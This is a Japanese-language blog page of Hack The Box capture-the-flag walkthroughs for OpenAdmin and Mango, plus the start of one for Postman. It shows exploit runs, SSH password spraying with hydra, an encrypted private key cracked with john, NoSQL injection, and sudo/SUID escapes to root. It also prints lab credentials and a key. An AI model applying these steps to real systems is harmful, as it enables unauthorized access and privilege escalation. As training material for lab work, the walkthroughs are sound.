Hack The Box - OpenAdmin (walkthrough without Metasploit)
Machineの概要
OS:Linux
難易度:Easy
※/etc/hosts
にopenadmin.htb
を追記しました。
First of 2020! To those who are bold enough to knock 😉 OpenAdmin will go live 4 January 2020 at 19:00:00 UTC. Craft will be retired! You still have time to #hack your way in at https://t.co/ObnQVdGykI pic.twitter.com/eHzdfQjESh
— Hack The Box (@hackthebox_eu) January 3, 2020
0. Summary
User:OpenNetAdminのExploitコードを使用し、ローレベルシェルでひたすら列挙するだけでした。
Root:root権限で実行できるコマンドを用いることで権限昇格が行えました。
Apacheを使用したとがあればEasyなはずです。
1. ポートスキャン
# Nmap 7.80 scan initiated Mon Apr 27 04:09:21 2020 as: nmap -sT -sC -sV -A -oA initial openadmin.htb
Nmap scan report for openadmin.htb (10.10.10.171)
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/27%OT=22%CT=1%CU=32035%PV=Y%DS=2%DC=T%G=Y%TM=5EA5DCA
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 238.49 ms 10.10.14.1
2 238.54 ms openadmin.htb (10.10.10.171)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 27 04:10:36 2020 -- 1 IP address (1 host up) scanned in 75.09 seconds
2.各ポートの調査
2.1. Port 80
Apcheのデフォルトページです。特に何もありませんでした。
他のページを列挙してみるとmusic
というページが見つかりました。。
root@kali$ gobuster dir -u openadmin.htb -w directory-list-2.3-medium.txt -o gobuster.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://openadmin.htb
[+] Threads: 10
[+] Wordlist: directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/04/27 04:11:39 Starting gobuster
===============================================================
/music (Status: 301)
Progress: 638 / 220561 (0.29%)
さらに右上のLogin
を押すと、ona
というページに遷移しました。
3. ローレベルシェルの取得
OpenNetAdmin 18.1.1
の脆弱性を使用してRCEを行います。
GitHub - amriunix/ona-rce: OpenNetAdmin 18.1.1 - Remote Code Execution
root@kal$ python3 ona-rce.py exploit http://openadmin.htb/ona/
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ ls -al /home
total 16
drwxr-xr-x 4 root root 4096 Nov 22 18:00 .
drwxr-xr-x 24 root root 4096 Nov 21 13:41 ..
drwxr-x--- 6 jimmy jimmy 4096 Apr 26 19:27 jimmy
drwxr-x--- 6 joanna joanna 4096 Nov 28 09:37 joanna
4. user.txtの取得
OpenNetAdmin
のデータベース設定を見てみると、認証情報が見るかりました。
sh$ cat /opt/ona/www/local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>
取得した認証情報を使用してSSHログインを試みます。
root@kali$ cat user.txt
jimmy
joanna
root@kali$ cat pass.txt
n1nj4W4rri0R!
root@kali$ hydra -L user.txt -P pass.txt openadmin.htb ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-03 07:00:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:2/p:1), ~1 try per task
[DATA] attacking ssh://openadmin.htb:22/
[22][ssh] host: openadmin.htb login: jimmy password: n1nj4W4rri0R!
1 of 1 target successfully completed, 1 valid password found
root@kali$ ssh jimmy@openadmin.htb
jimmy@openadmin:~$
/var/www/
の中にgobusterでは発見できなかったinternal
を発見しました。
その中のmain.php
はアクセスすると、joanna
の秘密鍵を表示する様です。
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
internal
はPort 52846
でリッスンしていることが分かりました。
jimmy@openadmin:/etc/apache2/sites-available$ cat internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
アクセスして秘密鍵を取得します。
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
秘密鍵をクラックしてみます。
root@kali$ /usr/share/john/ssh2john.py id_rsa > id_rsa.hsah root@kali$ cat id_rsa.hsah id_rsa:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d root@kali$ john --wordlist=rockyou.txt id_rsa.hsah Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 8 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status bloodninjas (id_rsa) Warning: Only 1 candidate left, minimum 8 needed for performance. 1g 0:00:00:07 DONE (2020-04-27 04:53) 0.1251g/s 1794Kp/s 1794Kc/s 1794KC/s *7¡Vamos! Session completed
joanna
としてSHHへログインし、user.txt
を取得します。
root@kali$ chmod 600 id_rsa
root@kali$ ssh joanna@openadmin.htb -i id_rsa
Enter passphrase for key 'id_rsa':
joanna@openadmin:~$ cat user.txt | wc -c
33
5. root.txtの取得
/bin/nano
をroot権限で実行できる様です。
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
みんな大好き
Command to execute: reset; sh 1>&0 2>&0#
# Get Help ^X Read File
# Cancel M-F New Buffer
#
#
#
#
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt | wc -c
33
Hack The Box - Mango (walkthrough)
Machineの概要
OS:Linux
難易度:Medium
※/etc/hosts
にmango.htb
を追記しました。
Grab a bite! Mango will go live 26 October 2019 at 19:00:00 UTC. Safe will be retired! You still have time to hack your way in at: https://t.co/PziaAsqCcm pic.twitter.com/HaA2jVZieR
— Hack The Box (@hackthebox_eu) October 25, 2019
0. Summary
User:MongoDBへのNoSQL Injectionを行うことで、資格情報を獲得できました。
Root:SUIDフラグの立っているファイルを用いることで権限昇格が行えました。
NoSQL Injectionさえできてしまえば難易度はEasyです。
1. ポートスキャン
# Nmap 7.80 scan initiated Sun Oct 27 09:10:01 2019 as: nmap -sV -sC -A -oA namp/initial mango.htb
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.14s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/27%OT=22%CT=1%CU=36846%PV=Y%DS=2%DC=T%G=Y%TM=5DB4E0
OS:84%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SE
OS:Q(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%
OS:O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2
OS:=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 199/tcp)
HOP RTT ADDRESS
1 183.81 ms 10.10.14.1
2 183.89 ms mango.htb (10.10.10.162)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 27 09:10:44 2019 -- 1 IP address (1 host up) scanned in 42.48 seconds
2. 各ポートの調査
2.1. Port 22
特になし。
2.2. Port 80
port80は403
が返ってきます。
DirBを使用しても有用なファイルは見つかりませんでした。
2.3. Port 443
Googleの様なトップページが現れますが、足がかりになるようなものは見つかりません。
そこで改めてnampの出力えを見てみると、証明のコモンネームがstaging-order.mango.htb
であることが分かりました。
/etc/hosts
にstaging-order.mango.htb
を追記します。
3. 新しいドメインページの調査
アクセスするとログインページが現れます。
私はここで行き詰まり、Formでヒントを探しました。
すると、どうやらこのMachine名が重要であることが分かりました。
「ログインページがある。」、「Machine名が重要である。」ことから、データベースにはMongo DBが使用されているのではないかという仮説をたてました。
3.1. Mongo DBへの攻撃
Mongo DBはNoSQLデータベースです。
PayloadsAllTheThings/NoSQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHubに掲載されていたコードを改造して攻撃しました
得られた資格情報は2つです。
admin: t9KcS3>!0B#2
mango: h3mXK8RhU~f{]f5H
4. user.txtの取得
NoSQL Injectionで得られたmango
の資格情報をSSHで使用できました。
root@kali$ ssh mango@mango.htb
mango@mango.htb's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Apr 17 11:52:50 UTC 2020
System load: 0.12 Processes: 131
Usage of /: 27.3% of 19.56GB Users logged in: 1
Memory usage: 37% IP address for ens33: 10.10.10.162
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
122 packages can be updated.
18 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Apr 17 11:10:46 2020 from 10.10.14.46
mango@mango:~$
user.txtを探していると、adminユーザーのホームディレクトリ下にありました。
mango@mango:~$ cd /home/
mango@mango:/home$ ls
admin mango
mango@mango:/home$ cd admin/
mango@mango:/home/admin$ ls -la
total 36
drwxr-xr-x 3 admin admin 4096 Apr 17 11:32 .
drwxr-xr-x 4 root root 4096 Sep 27 2019 ..
lrwxrwxrwx 1 admin admin 9 Sep 27 2019 .bash_history -> /dev/null
-rw-r--r-- 1 admin admin 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 admin admin 3771 Apr 4 2018 .bashrc
-rw-rw-r-- 1 root admin 2078 Apr 17 11:46 .jjs.history
drwxrwxr-x 3 admin admin 4096 Apr 17 10:22 .local
-rw-r--r-- 1 admin admin 807 Apr 4 2018 .profile
-r-------- 1 admin admin 33 Sep 27 2019 user.txt
-rw------- 1 admin admin 1022 Apr 17 10:25 .viminfo
mango@mango:/home/admin$ cat user.txt
cat: user.txt: Permission denied
read権限はありませんが、NoSQL Injectionsで得た資格情報を使用できました。
mango@mango:/home/admin$ su admin
Password:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
admin@mango:/home/admin$ cat user.txt | wc -c
33
5. root.txtの取得
LinEnumで権限昇格の足がかりを見つけます。
admin@mango:/home/admin$ ./LinEnum.sh
-- snip --
[-] SGID files:
-rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /snap/core/7713/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /snap/core/7713/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 Mar 25 2019 /snap/core/7713/usr/bin/chage
-rwxr-sr-x 1 root systemd-network 36080 Apr 5 2016 /snap/core/7713/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec 7 2013 /snap/core/7713/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 Mar 25 2019 /snap/core/7713/usr/bin/expiry
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/7713/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/7713/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/7713/usr/bin/mail-unlock
-rwxr-sr-x 1 root crontab 358624 Mar 4 2019 /snap/core/7713/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 27368 May 15 2019 /snap/core/7713/usr/bin/wall
-rwsr-sr-x 1 root root 106696 Aug 30 2019 /snap/core/7713/usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /snap/core/6350/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /snap/core/6350/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 May 17 2017 /snap/core/6350/usr/bin/chage
-rwxr-sr-x 1 root systemd-network 36080 Apr 5 2016 /snap/core/6350/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec 7 2013 /snap/core/6350/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 May 17 2017 /snap/core/6350/usr/bin/expiry
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-unlock
-rwxr-sr-x 1 root crontab 358624 Nov 5 2018 /snap/core/6350/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 27368 May 16 2018 /snap/core/6350/usr/bin/wall
-rwsr-sr-x 1 root root 98472 Jan 29 2019 /snap/core/6350/usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root tty 30800 Oct 15 2018 /usr/bin/wall
-rwxr-sr-x 1 root ssh 362640 Mar 4 2019 /usr/bin/ssh-agent
-rwxr-sr-x 1 root crontab 39352 Nov 16 2017 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 71816 Jan 25 2018 /usr/bin/chage
-rwxr-sr-x 1 root tty 14328 Jan 17 2018 /usr/bin/bsd-write
-rwsr-sr-x 1 root root 18161 Jul 15 2016 /usr/bin/run-mailcap
-rwxr-sr-x 1 root shadow 22808 Jan 25 2018 /usr/bin/expiry
-rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
-rwxr-sr-x 1 root mlocate 43088 Mar 1 2018 /usr/bin/mlocate
-rwxr-sr-x 1 root utmp 10232 Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwsr-sr-- 1 root admin 10352 Jul 18 2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-rwsr-sr-x 1 root root 101240 Mar 15 2019 /usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root shadow 34816 Apr 5 2018 /sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 34816 Apr 5 2018 /sbin/unix_chkpwd
-- snip --
有用な情報が見つけられなかったので、SUIDフラグのたったファイルの中から使えそうなものを見つけます。
みんな大好きGTFOBinsです。
条件に合う/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
を使用します。
Hack The Boxではrootディレクトリの下にroot.txtがあるので、手っ取り早くreadしました。
admin@mango:/home/mango$ echo 'var BufferedReader = Java.type("java.io.BufferedRe
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) { print(line); }
[root.txt]
jjs> admin@mango:/home/mango$
Privilege Escalationは行っていませんが、/etc/shadow/
のread、/root/.ssh/.authenticated_hosts
へのwrite、/root/.ssh/id_rs
のread等を行えば権限昇格できるはずです。
Hack The Box - Postman (walkthrough)
Machineの概要
OS:Linux
難易度:Easy
※/etc/hosts
にpostman.htb
を追記しました。
You’ve got mail! Postman will go live 2 November 2019 at 19:00:00 UTC. Haystack will be retired! You still have time to hack your way in at: https://t.co/PziaAsqCcm pic.twitter.com/NjkWjuQDx1
— Hack The Box (@hackthebox_eu) 2019年10月31日
1. ポートスキャン
# Nmap 7.80 scan initiated Sun Nov 3 17:17:31 2019 as: nmap -sV -sC -A -oA initial postman.htb
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.19s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=11/3%OT=22%CT=1%CU=41823%PV=Y%DS=2%DC=T%G=Y%TM=5DBE8D5
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 192.93 ms 10.10.14.1
2 192.98 ms postman.htb (10.10.10.160)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
